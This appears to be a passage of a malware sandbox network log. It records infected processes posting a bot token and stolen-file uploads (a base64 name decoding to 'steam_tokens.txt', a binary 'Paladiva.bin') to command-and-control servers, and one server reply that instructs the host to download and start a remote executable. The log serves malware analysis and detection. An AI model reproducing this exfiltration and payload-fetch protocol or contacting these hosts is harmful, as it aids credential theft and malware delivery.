Nov 21, 2024 03:10:43.559412956 CET	467	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----IIEBGIDAAFHIJJJJEGCG Host: 185.215.113.206 Content-Length: 265 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 66 69 6c 65 73 0d 0a 2d 2d 2d 2d 2d 2d 49 49 45 42 47 49 44 41 41 46 48 49 4a 4a 4a 4a 45 47 43 47 2d 2d 0d 0a Data Ascii: ------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------IIEBGIDAAFHIJJJJEGCGContent-Disposition: form-data; name="message"files------IIEBGIDAAFHIJJJJEGCG--
Nov 21, 2024 03:10:44.064397097 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:43 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=91 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:10:44.087788105 CET	565	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----FHIJJJKKJJDAKEBFIJDH Host: 185.215.113.206 Content-Length: 363 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 5f 6e 61 6d 65 22 0d 0a 0d 0a 63 33 52 6c 59 57 31 66 64 47 39 72 5a 57 35 7a 4c 6e 52 34 64 41 3d 3d 0d 0a 2d 2d 2d 2d 2d 2d 46 48 49 4a 4a 4a 4b 4b 4a 4a 44 41 4b 45 42 46 49 4a 44 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 0d 0a 0d 0a 0d 0a 2d 2d 2d 2d 2d [TRUNCATED] Data Ascii: ------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="file_name"c3RlYW1fdG9rZW5zLnR4dA==------FHIJJJKKJJDAKEBFIJDHContent-Disposition: form-data; name="file"------FHIJJJKKJJDAKEBFIJDH--
Nov 21, 2024 03:10:45.077800989 CET	202	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:44 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=90 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 21, 2024 03:10:45.085272074 CET	474	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----EHIJJDGDHDGDAKFIECFI Host: 185.215.113.206 Content-Length: 272 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 39 35 39 38 33 63 37 39 62 36 64 36 35 31 33 34 32 63 66 62 35 36 37 31 36 64 66 31 61 38 38 37 33 61 37 37 36 32 34 38 63 33 36 64 66 39 63 65 31 63 61 33 61 32 37 39 34 66 65 37 61 30 66 39 31 31 30 66 37 65 30 66 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6d 65 73 73 61 67 65 22 0d 0a 0d 0a 79 62 6e 63 62 68 79 6c 65 70 6d 65 0d 0a 2d 2d 2d 2d 2d 2d 45 48 49 4a 4a 44 47 44 48 44 47 44 41 4b 46 49 45 43 46 49 2d 2d 0d 0a Data Ascii: ------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="token"95983c79b6d651342cfb56716df1a8873a776248c36df9ce1ca3a2794fe7a0f9110f7e0f------EHIJJDGDHDGDAKFIECFIContent-Disposition: form-data; name="message"ybncbhylepme------EHIJJDGDHDGDAKFIECFI--
Nov 21, 2024 03:10:45.536569118 CET	271	IN	HTTP/1.1 200 OK Date: Thu, 21 Nov 2024 02:10:45 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 68 Keep-Alive: timeout=5, max=89 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 Data Raw: 61 48 52 30 63 44 6f 76 4c 7a 45 34 4e 53 34 79 4d 54 55 75 4d 54 45 7a 4c 6a 45 32 4c 32 31 70 62 6d 55 76 63 6d 46 75 5a 47 39 74 4c 6d 56 34 5a 58 77 77 66 44 42 38 55 33 52 68 63 6e 52 38 4e 58 77 3d Data Ascii: aHR0cDovLzE4NS4yMTUuMTEzLjE2L21pbmUvcmFuZG9tLmV4ZXwwfDB8U3RhcnR8NXw=

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	50073	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:29.505096912 CET	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 45 42 42 32 44 37 35 42 36 35 38 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7EBB2D75B65882D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Nov 21, 2024 03:10:30.949337959 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	50079	34.116.198.130	80	1272	C:\Users\user\AppData\Local\Temp\1007819001\ce23dfc9e9.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:31.604185104 CET	12360	OUT	POST /v1/upload.php HTTP/1.1 Host: fvtekk5pn.top Accept: / Content-Length: 30524 Content-Type: multipart/form-data; boundary=------------------------8LKCnrUf4b34OQ00A3hiQF Data Raw: 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 4c 4b 43 6e 72 55 66 34 62 33 34 4f 51 30 30 41 33 68 69 51 46 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 66 69 6c 65 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 50 61 6c 61 64 69 76 61 2e 62 69 6e 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 6f 63 74 65 74 2d 73 74 72 65 61 6d 0d 0a 0d 0a bd bf ac 3d e8 7e cd 27 4a c3 ae 7d 98 8f a9 c1 4a 0e 87 1c dc c7 ea 31 e8 b3 58 42 48 64 0e 2d 23 cb 16 b8 8d 8d de 2b b8 88 fc 84 99 88 33 78 d4 a5 6a 87 03 31 cb 79 b5 41 ac cc 61 37 61 c0 6e 73 a2 5d a5 30 0b f4 ef 00 a6 90 8e bb 49 c2 07 46 c5 f2 2d da 45 d7 09 f0 6c 98 43 a2 6a dd 59 64 c2 5d 84 f0 25 33 f4 f2 25 bf 3b 81 fa 75 3d 25 11 63 54 b2 c7 db 97 33 5c 7c 0d 7c e6 ba 48 61 65 08 9b 15 41 96 b8 f1 8e ab 79 c6 16 65 f9 b8 06 99 80 1d ab 83 1a 8b af 8f e4 e6 77 52 8f c2 2a ca 5b 88 a5 ef 80 bf fa 66 01 61 32 f8 [TRUNCATED] Data Ascii: --------------------------8LKCnrUf4b34OQ00A3hiQFContent-Disposition: form-data; name="file"; filename="Paladiva.bin"Content-Type: application/octet-stream=~'J}J1XBHd-#+3xj1yAa7ans]0IF-ElCjYd]%3%;u=%cT3\\|\|HaeAyewR[fa2yo$DmgS/JwxdO8JM~!l`aY5SlZyf}']\qlF?Jl2{N3":HQ:{?qD(a3:}QbQ#+X+H={R5"[[!%cxF4K#5FT2t! o9!5k7Vbd-Y5Cn`d859dtf#u$eUrQ9e:mu3@g@2.Fp[oQB;en#`0/yw\|:KQ^LK;!/K4o$c.+<%bEGC0P'*sJsY',Chw/#@v_n5An(Ll-;d>oO&(p\\|B^;qBk8B.w4W:bF]UV\\<MWRpTcL&rZ!hnR%#+ 11\D-F+yx [TRUNCATED]
Nov 21, 2024 03:10:31.723928928 CET	7416	OUT	Data Raw: 31 f4 53 1b 7c d7 ec a2 66 dc 55 25 b6 1a 0a 52 08 76 32 69 f6 1a e9 23 01 b3 b8 e9 39 54 1f ae 5c 4b 6e 47 45 9d d4 65 e1 61 ff f4 70 eb 3d 3f 59 aa 25 4a 4a 6a 7c 8e dc d2 26 c3 79 e1 6d 43 8a 2f 6f b0 df 1c 28 d9 68 e8 47 d3 5b 79 15 78 5e 8f Data Ascii: 1S\|fU%Rv2i#9T\KnGEeap=?Y%JJj\|&ymC/o(hG[yx^hF\|!S$$.'X}R+%e@bpi>2y`6t:CwJk&FL+&ck]zK(GelS@R'0(Nt:K*{IwB#Y7Cs X6
Nov 21, 2024 03:10:31.723974943 CET	2472	OUT	Data Raw: b3 13 80 b9 88 d6 ed 7e 01 2c 38 90 0a ed 8d be c8 f6 e6 8f ab 33 57 ab ce db f2 39 05 f5 58 e2 41 b3 fb e9 74 e0 b6 ba 27 85 6d 6b 35 3a 0d 77 a3 8e d8 db 77 84 f9 9a 31 ba db 1e a6 26 27 5a a4 ba 62 ea 95 26 07 c1 09 89 ce 21 3e 66 a4 c0 37 75 Data Ascii: ~,83W9XAt'mk5:ww1&'Zb&!>f7u:!;'(fFkd[tY@hwtv[=cyu^Q=15k?dXwW[lx41cIDO<7J6B!q3NhQN&
Nov 21, 2024 03:10:31.724006891 CET	2472	OUT	Data Raw: 88 f1 13 1d 64 85 b3 e3 c4 59 40 00 9c 96 4e ba 66 ea 96 2a 56 fc 99 bb 74 a9 a0 ca 0d df b6 36 e7 45 c0 61 d9 d5 2f b0 91 3c 91 b7 0f 6d fb aa df f5 14 76 06 bc 42 f1 09 0e 05 db 09 4c 63 b5 3c f9 c0 ec c1 1f 42 85 8b be de 20 76 ae cc ac 58 64 Data Ascii: dY@Nf*Vt6Ea/<mvBLc<B vXd~K_zHX++9al 3Tq8@Ha<f]G;l!h?f1HV68F,E_8c/aQt,>;y7uU$^ncfb
Nov 21, 2024 03:10:31.724083900 CET	4944	OUT	Data Raw: a9 8a 4d 96 6d a2 16 50 64 2d 91 fc 86 cb 9e ae 68 ba 44 ab ce 00 19 56 c2 73 78 42 6b d6 b2 71 4e 0e c9 06 f6 5f be 1f 09 7b 9d 0a 71 31 01 06 52 62 5f f6 86 77 cd e4 d9 4f 34 2b b8 ca f7 7c 44 85 bd 64 80 21 82 67 a1 52 c9 28 e7 b4 09 6b ed f8 Data Ascii: MmPd-hDVsxBkqN_{q1Rb_wO4+\|Dd!gR(k{Td"Jgoqldu5@3M}2MB%fe~B~G0iM:b(5mL%}('6"D@PjKJxpLDG.*&44GL$3
Nov 21, 2024 03:10:31.724247932 CET	1041	OUT	Data Raw: c2 3e 8a d5 ef a0 31 84 0c 7b 0c 67 0c 4d a4 d6 b4 fe 71 41 5b f1 4f 50 7e 41 34 64 ef 01 5c bb b3 de f1 b1 da 20 6e 16 85 24 47 8d 9d e6 6a 53 5a 4f 0b af d8 78 b9 00 2c 16 3b 49 57 e4 24 2a 9f fa f5 55 7c 7f 3b f8 a9 6b 1b bc 9b 70 a5 6f 6f 91 Data Ascii: >1{gMqA[OP~A4d\ n$GjSZOx,;IW$*U\|;kpooQPjSh54Eaay>Fa.j$zsmUnw"n;H\|TnwUX$eEwkcMy{6~$@/ER$`sc
Nov 21, 2024 03:10:33.309232950 CET	190	IN	HTTP/1.1 200 OK server: nginx/1.24.0 (Ubuntu) date: Thu, 21 Nov 2024 02:10:33 GMT content-type: text/plain; charset=utf-8 content-length: 2 etag: W/"2-nOO9QiTIwXgNtWtBJezz8kv3SLc" Data Raw: 4f 4b Data Ascii: OK

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.5	50083	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:32.418354034 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:10:33.505256891 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 08:56:12 GMT Age: 62061 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	50088	185.215.113.43	80	6644	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:32.869529963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 21, 2024 03:10:34.246380091 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 21 Nov 2024 02:10:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.5	50097	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:33.858180046 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:10:34.943289042 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 63861 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:10:35.039405107 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:10:35.354202986 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 63862 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:10:35.743078947 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:10:36.058579922 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 63862 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:10:36.234213114 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:10:36.548829079 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 63863 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:10:36.572993994 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:10:36.887525082 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 63863 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:10:36.997287035 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:10:37.311515093 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 63864 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:10:37.365314960 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:10:37.680418015 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 63864 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:10:40.841484070 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 21, 2024 03:10:41.157778978 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Wed, 20 Nov 2024 08:26:13 GMT Age: 63868 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 21, 2024 03:10:51.203130007 CET	6	OUT	Data Raw: 00 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.5	50098	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 21, 2024 03:10:33.858478069 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:10:35.036106110 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 30997 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:10:35.395859957 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:10:35.728784084 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 30998 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:10:35.782964945 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:10:36.117762089 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 30998 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:10:36.236434937 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 21, 2024 03:10:36.569467068 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Wed, 20 Nov 2024 17:33:57 GMT Age: 30999 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 21, 2024 03:10:36.654527903 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
